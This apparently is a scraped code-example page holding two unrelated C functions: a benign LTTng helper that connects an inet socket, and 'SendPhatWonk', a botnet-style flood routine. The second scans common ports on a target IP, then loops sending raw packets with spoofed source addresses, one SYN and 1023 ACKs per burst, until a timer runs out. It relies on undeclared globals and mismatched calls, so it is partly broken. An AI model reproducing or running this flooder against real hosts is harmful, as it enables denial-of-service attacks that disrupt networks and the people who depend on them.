Ejemplo n.º 1
0
/*
 * Connect PF_INET socket.
 */
LTTNG_HIDDEN
int lttcomm_connect_inet_sock(struct lttcomm_sock *sock)
{
	int ret, closeret;

	if (lttcomm_get_network_timeout()) {
		ret = connect_with_timeout(sock);
	} else {
		ret = connect_no_timeout(sock);
	}
	if (ret < 0) {
		PERROR("connect");
		goto error_connect;
	}

	return ret;

error_connect:
	closeret = close(sock->fd);
	if (closeret) {
		PERROR("close inet");
	}

	return ret;
}
Ejemplo n.º 2
0
char* SendPhatWonk(unsigned long TargetIP, unsigned int len, int delay)
{
    BOOL flag=TRUE;
	unsigned long lTimerCount=0;
	struct timespec ts;
    int i=0;

	struct sockaddr_in addr;
	int scansock=0;

	sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);

	fsetsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&flag, sizeof(flag));

    srand(GetTickCount());

	unsigned int port[28] = { 1025,21,22,23,25,53,80,81,88,110,113,119,135,
							  137,139,143,443,445,1024,1433,1500,
							  1720,3306,3389,5000,6667,8000,8080 };

	unsigned int openport[28] = {0,0,0};
	static char hitports[1024] = "";
	int hitport=0, lastport=0;
	char tmpMess[]="";
	struct timeval working_timeout;
	working_timeout.tv_sec = 3;
	working_timeout.tv_usec = 3000;

	for (i=0;i<28;i++)
	{
		addr.sin_family = AF_INET;
		addr.sin_addr.s_addr = TargetIP;
		addr.sin_port = fhtons(port[i]);

		scansock = fsocket(AF_INET,SOCK_STREAM,0);
		int result = connect_no_timeout(scansock,(struct sockaddr *)&addr,sizeof(struct sockaddr),&working_timeout);

		fclosesocket(scansock);
		
		if(result == 0)
		{
				openport[i] = port[i];
		}
	}

	sprintf(hitports, " ");

	lTimerCount=GetTickCount();
	
	for (i=0;i<28;i++)
	{

	if ((GetTickCount()-lTimerCount)/1000>len) break;

		if (openport[i] != 0)
		{
			hitport = openport[i];
			//hitports.Format("%s%d ",hitports.CStr(),hitport);
			sprintf(hitports, "%s%d ", hitports, hitport);
		}
		else
		{
			hitport = fhtons (brandom (0, 65535)); // no open ports
		}
	}

	for (;;)
	{
	
	memset(&packet, 0, sizeof(packet));
    ts.tv_sec				= 0;
    ts.tv_nsec				= 10;
    packet.ip.ihl			= 5;
    packet.ip.ver			= 4;
    packet.ip.pro			= IPPROTO_TCP;
    packet.ip.tos			= 0x08;
    packet.ip.id			= fhtons (brandom (1024, 65535));
    packet.ip.tl			= fhtons(sizeof(packet));
    packet.ip.off			= 0;
    packet.ip.ttl			= 255;

    if (!spoofing) 
        packet.ip.src = spoofip(TargetIP);
    else
        packet.ip.src = finet_addr(spoof);

    packet.ip.dst			= TargetIP;
    packet.tcp.flg			= 0;
    packet.tcp.win			= fhtons(16384);
    packet.tcp.seq			= fhtonl (brandom (0, 65535) + (brandom (0, 65535) << 8));
    packet.tcp.ack			= 0;
    packet.tcp.off			= 5;
    packet.tcp.urp			= 0;

	packet.tcp.dst			= hitport;

	cksum.pseudo.daddr		= TargetIP;
    cksum.pseudo.mbz		= 0;
    cksum.pseudo.ptcl		= IPPROTO_TCP;
    cksum.pseudo.tcpl		= fhtons(sizeof(struct xtcphdr));
    s_in.sin_family			= AF_INET;
	s_in.sin_addr.s_addr	= TargetIP;
    s_in.sin_port			= packet.tcp.dst;

	for(i=0;i<1023;++i) {
	/* 
	send 1 syn packet + 1023 ACK packets. 
	*/
    if(i==0) {
	packet.tcp.src = fhtons (brandom (0, 65535));
	cksum.pseudo.saddr = packet.ip.src;
	packet.tcp.flg = SYN;
    packet.tcp.ack = 0;
    }
    else {
	packet.tcp.flg = ACK;
	packet.tcp.ack = fhtons (brandom (0, 65535));
    }
       ++packet.ip.id;
       ++packet.tcp.seq;
       s_in.sin_port = packet.tcp.dst;
       packet.ip.sum         = 0;
       packet.tcp.sum        = 0;
       cksum.tcp             = packet.tcp;
       packet.ip.sum         = checksum((unsigned short *)&packet.ip, 20);
       packet.tcp.sum        = checksum((unsigned short *)&cksum, sizeof(cksum));

       fsendto(sock, (const char *)&packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in));
	   }

	if((GetTickCount()-lTimerCount)/1000>len) break;
	Sleep(delay);
    }
	return hitports;
}